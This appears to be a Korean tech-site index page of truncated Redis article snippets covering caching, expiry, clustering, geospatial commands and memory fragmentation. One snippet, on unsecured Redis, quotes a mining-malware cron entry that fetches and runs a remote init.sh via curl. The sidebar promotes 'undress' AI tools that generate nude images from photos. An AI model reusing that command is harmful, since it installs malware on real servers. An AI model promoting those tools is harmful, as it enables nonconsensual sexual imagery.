


Redis 캐시 지연 이중 삭제는 무엇을 의미합니까?
캐시가 업데이트되지 않고 삭제되는 이유는 무엇입니까? 업데이트인 경우 분산 트랜잭션 문제가 있어 캐시가 수정되어 데이터베이스 수정이 실패할 수 있습니다. 캐시만 삭제하면 데이터베이스 수정이 실패하더라도 다음 쿼리가 데이터베이스에서 데이터를 직접 가져오므로 더티 데이터가 나타나지 않습니다. 지연된 이중 삭제란 무엇입니까? 즉, 엔터티 클래스를 추가, 삭제, 수정하는 경우 해당 엔터티 클래스의 캐시를 지워야 하는 위치는 데이터베이스 작업 방법 전과 후입니다. 모순증명법을 사용하면 결론만 먼저 삭제하고 나중에 삭제하면 삭제 전 삭제 모두 문제가 있다는 결론이 나온다. 따라서 지연된 이중 삭제 전략이 채택됩니다. 생각 2: 지연이 여전히 모순에 의한 증거인 이유는 무엇입니까? 아래 그림의 상황은 이중 삭제 후에도 이전 캐시가 여전히 존재하는 상황을 보여줍니다. 지연은 데이터베이스 수정 -> 캐시 지우기 전에 다른 트랜잭션의 캐시 변경 작업이 완료되었는지 확인하기 위한 것입니다.
May 26, 2023 pm 03:49 PM
Java가 Redis를 운영하고 다음날 이른 아침에 만료를 설정하는 솔루션은 무엇입니까?
Java에서는 다음날 이른 아침에 만료 시나리오를 설정하기 위해 redis를 운영하는데, 데이터를 쿼리할 때 redis에서 해당 데이터가 다음 날 만료되도록 설정해야 하는 문제가 발생했습니다. 다음 날 이른 아침과 현재 시간의 시차를 Redis의 만료 시간으로 설정하면 원하는 효과를 얻을 수 있습니다. 코드/*** 시차를 계산합니다. 다음 날 이른 아침과 현재 시간 사이의 초 단위 *@param*@returnjava .lang.Long*@authorshy*@date2021/3/1218:10*/publicstaticLonggetNowToNextDa
May 26, 2023 pm 03:40 PM
높은 동시성에서 제품 과잉 판매 문제를 해결하기 위해 PHP+Redis를 사용하는 방법
특정 수의 사용자를 보유한 일부 전자상거래 웹사이트의 경우 단순히 관계형 데이터베이스(예: MySQL, Oracle)를 사용하여 급하게 구매하는 경우 데이터베이스에 대한 부담이 매우 클 것이며 데이터베이스 잠금 메커니즘을 제대로 사용하지 않을 경우 , 상품이나 쿠폰이 과매도되는 문제가 발생할 수 있습니다. 저희 회사에서도 같은 문제가 발생했는데, 쿠폰을 과다 구매했을 때 문제가 발생했는데, 문제가 발생한 후 해결 방법을 고민하기 시작했습니다. 저는 Redis를 많이 사용하기 때문에 이 문제를 해결하기 위해 Redis를 사용할 예정입니다. . Redis의 고성능 및 트랜잭션 기능을 사용하여 과잉 재고로 인해 온라인 쿠폰이 급등하는 문제를 해결합니다. 아래에서는 일부 세부 정보를 제거하고 이 문제를 일시적으로 해결한 의사 코드의 첫 번째 버전을 제공합니다.
May 26, 2023 pm 03:31 PM
Redis 스크립트 명령 실행 문제 분석 예
1. redis-cli 명령줄에서 실행: # redis 명령을 호출하여 캐시 설정 # 매개변수 eval"returnredis.call('set','name1','Tom')"0#Pass in 1 전달하지 않음 값 매개변수 eval"returnredis .call('set','name2',ARGV[1])"0"Tom"
May 26, 2023 pm 03:28 PM
Linux 시스템에 Redis를 설치하는 방법
Redis는 고성능 키-값 데이터베이스입니다. Redis의 출현은 memcached와 같은 키값 저장소의 단점을 크게 보완했으며 일부 상황에서는 관계형 데이터베이스에 대한 매우 좋은 보완 역할을 할 수 있습니다. redis 소개: 원격 사전 서비스인 Redis(RemoteDictionaryServer)는 ANSIC 언어로 작성된 오픈 소스 로그 유형의 Key-Value 데이터베이스로, 네트워크를 지원하고 메모리 기반 및 영속성이 가능하며 다국어로 API를 제공합니다. 2010년 3월 15일부터 Redis 개발은 VMware에서 호스팅되었습니다. 2013년 5월부터 Redis 개발 시작
May 26, 2023 pm 02:55 PM
Redis 특수 데이터 유형 지리공간을 사용하는 방법
Redis의 특수 데이터 유형인 Geospatial은 redis 버전 3.2에서 출시되었습니다. 이는 지리적 위치 정보, 두 장소 사이의 거리, 주변 사람 수 및 기타 시나리오를 계산하는 데 사용할 수 있습니다. 1. Geoadd는 지정된 지리적 공간 위치(위도, 경도, 이름)를 지정된 키에 추가합니다. 여기서 온라인 위도 및 경도 쿼리 도구를 사용하여 데이터를 얻을 수 있습니다. geoaddchina:city121.47264431.231706shanghaigeoaddchina:city120.61958531.299379suzhougeoaddchina:city116.4052
May 26, 2023 pm 02:55 PM
Redis 클러스터링의 세 가지 방법은 무엇입니까
Redis에는 마스터-슬레이브 복제, 센티넬 모드 및 클러스터 클러스터의 세 가지 클러스터링 방법이 있습니다. 마스터-슬레이브 복제의 기본 원칙 새 슬레이브 서버가 구축되면 슬레이브 서버는 SYNC 명령을 수신한 후 마스터 서버가 BGSAVE 명령을 실행합니다. BGSAVE 명령이 실행되면 생성된 RDB 파일이 슬레이브 서버로 전송됩니다. 슬레이브 서버는 이 파일을 사용하여 메모리에 데이터를 로드합니다. Redis 명령 프로토콜 형식의 슬레이브 서버. 이후 마스터 서비스가 명령을 실행할 때마다 슬레이브 서버와 동기화됩니다. 마스터 서버에 SYNC 명령을 보내는 슬레이브 서버가 여러 개 있더라도
May 26, 2023 pm 02:37 PM
Redis가 비밀번호를 설정해야 하는 이유는 무엇입니까?
Redis에서 비밀번호를 설정해야 하는 이유는 무엇입니까? 인트라넷 환경에서는 비밀번호를 설정할 필요가 없으나, 개인 서버와 온라인 공개 서버에서는 비밀번호를 설정해야 합니다. 어제 minio의 redis 이벤트 알림을 확인했는데, redis 키를 확인해보니 이상한 키가 몇 개 더 발견되었습니다. 백업1, 백업2, 백업3. 그러다가 채굴 바이러스인 줄 알았어요. 아래와 같이: 이러한 방식으로 예약된 작업과 스크립트가 시스템에 주입되고 init.sh 스크립트 backup1"\n\n\n*/2****rootcd1-fsSLhttp://en2an.top이 /cleanfda/init가 실행되기 시작합니다.
May 26, 2023 pm 02:17 PM
Redis 비트 작업을 사용하는 방법
이 글의 Redis 테스트 코드는 다음 환경을 기반으로 합니다. 운영 체제: MacOS 64비트 버전: Redis5.0.764bit 운영 모드: 독립형 모드 Redis 비트 연산 레이드 비트 연산은 비트 배열 연산이라고도 하며 비트맵 4가지 명령을 제공합니다. : SETBIT, GETBIT, BITCOUNT 및 BITTOP 이진 비트 배열을 조작하는 데 사용됩니다. 먼저 일련의 기본 작업 예제를 살펴보겠습니다. SETBIT 구문: SETBITkeyoffsetvalue는 명령 키 오프셋 0/1입니다. setbit 명령은 비트 배열에 지정된 오프셋의 이진 비트 설정 값을 쓰는 데 사용됩니다. 오프셋은 0부터 시작하여 계산됩니다. 쓰기 1 또는 0만 허용됩니다.
May 26, 2023 pm 02:14 PM
SpringBoot가 Redis 키 변경 이벤트를 모니터링하는 방법
1. 기능 개요 키스페이스 알림을 통해 클라이언트는 채널이나 패턴을 구독하여 어떤 방식으로든 Rediskey 변경 사항을 수정하는 이벤트를 수신할 수 있습니다. 키 키를 수정하는 모든 명령입니다. LPUSHkeyvalue[value…] 명령을 수신한 모든 키입니다. db 데이터베이스의 모든 만료된 키입니다. 이벤트는 Redis의 구독 및 게시 기능(pub/sub)을 통해 배포되므로 구독 및 게시 기능을 지원하는 모든 클라이언트는 아무런 수정 없이 바로 키스페이스 알림 기능을 사용할 수 있습니다. Redis의 현재 구독 및 게시 기능은 Fireandforget 전략을 채택하고 있기 때문에 프로그램이
May 26, 2023 pm 01:55 PM
redis에서 opsForList().range()를 사용하는 방법
결론 (특정 테스트 데이터는 아래를 읽어주세요) 1. 시작-끝이 전체 순서를 유지하면 문제가 없습니다. 2. 순서에 따라 startN-1에서도 데이터를 쿼리할 수 있습니다. 3. 특수 용도: stringRedisTemplate을 통해. .opsForList().range( key,0,-1)는 처음부터 마지막 인덱스(즉, 모든 데이터)를 쿼리할 수 있습니다. 1. 환경 redis2, 테스트 코드: @ResourceprivateStringRedisTemplatestringRedisTemplate;@TestvoidtestRedis(){Stringk
May 26, 2023 pm 01:46 PM
laravel의 redis 작업 방법은 무엇입니까?
Redis 작업 1. 설정/가져오기 작업 일반적인 설정/가져오기 작업, 설정 작업, 키 이름이 있으면 원래 값을 덮어씁니다 $redis=app("redis.connection");$redis->set('library ' ,'phpredis');//저장소 키는 라이브러리이고, phpredis 값은 기록됩니다. $redis->get("library");//Get 키는 라이브러리 레코드 값 set/g입니다.
May 26, 2023 pm 01:38 PM
CentOS7에서 Redis 클러스터를 구축하는 방법
1. 수동 구성 1. CentOS7 노드를 준비하고 Redis를 설치하면 완전하고 가용성이 높은 클러스터를 보장하기 위해 노드 수가 6개 이상이어야 합니다. (1) 디렉터리 구조 클러스터├──9001│├──data││├─ ─appendonly.aof││ └──nodes-9001.conf│├──redis-9001.conf│└──redis-9001.log├──9002│├──data││├──appendonly.aof│ │└──nodes- 9002.conf│├──redis-9002.conf│└──redis-9002.log...(2
May 26, 2023 pm 01:34 PM
Redis 메모리 조각을 정리하는 방법
Redis 메모리 조각화란 무엇입니까? 운영 체제에 남은 공간의 전체 양은 충분하지만 N 바이트의 연속 주소로 공간을 신청할 때 남은 메모리 공간에는 N 바이트의 연속 공간이 없습니다. 연속 메모리 공간이 N바이트 미만입니다. 메모리 조각화입니다. Redis 메모리 조각화는 어떻게 형성되나요? 메모리 조각화 형성에는 내부 및 외부 이유가 있습니다. 내부 이유: 메모리 할당자의 할당 전략에 따라 운영 체제가 "요구 시 할당"을 달성할 수 없습니다. Redis에서는 libc, jemalloc, tcmalloc을 사용하여 메모리를 할당하는데 기본적으로 jemalloc을 사용합니다. 메모리 할당자는 애플리케이션에서 요청한 내용에 따라 정확하게 할당되는 것이 아니라 고정된 크기에 따라 메모리 공간을 할당합니다.
May 26, 2023 pm 01:18 PM
핫툴 태그

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사
<garden> : 정원 재배 - 완전한 돌연변이 가이드
<gum> : Bubble Gum Simulator Infinity- 로얄 키를 얻고 사용하는 방법
KB5055612 수정 방법 Windows 10에 설치되지 않습니까?
Nordhold : Fusion System, 설명
Blue Prince : 지하실에가는 방법

뜨거운 도구

vc9-vc14(32+64비트) 런타임 라이브러리 모음(아래 링크)
phpStudy 설치에 필요한 런타임 라이브러리 모음을 다운로드하세요.

VC9 32비트
VC9 32비트 phpstudy 통합 설치 환경 런타임 라이브러리

PHP 프로그래머 도구 상자 정식 버전
Programmer Toolbox v1.0 PHP 통합 환경

VC11 32비트
VC11 32비트 phpstudy 통합 설치 환경 런타임 라이브러리

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.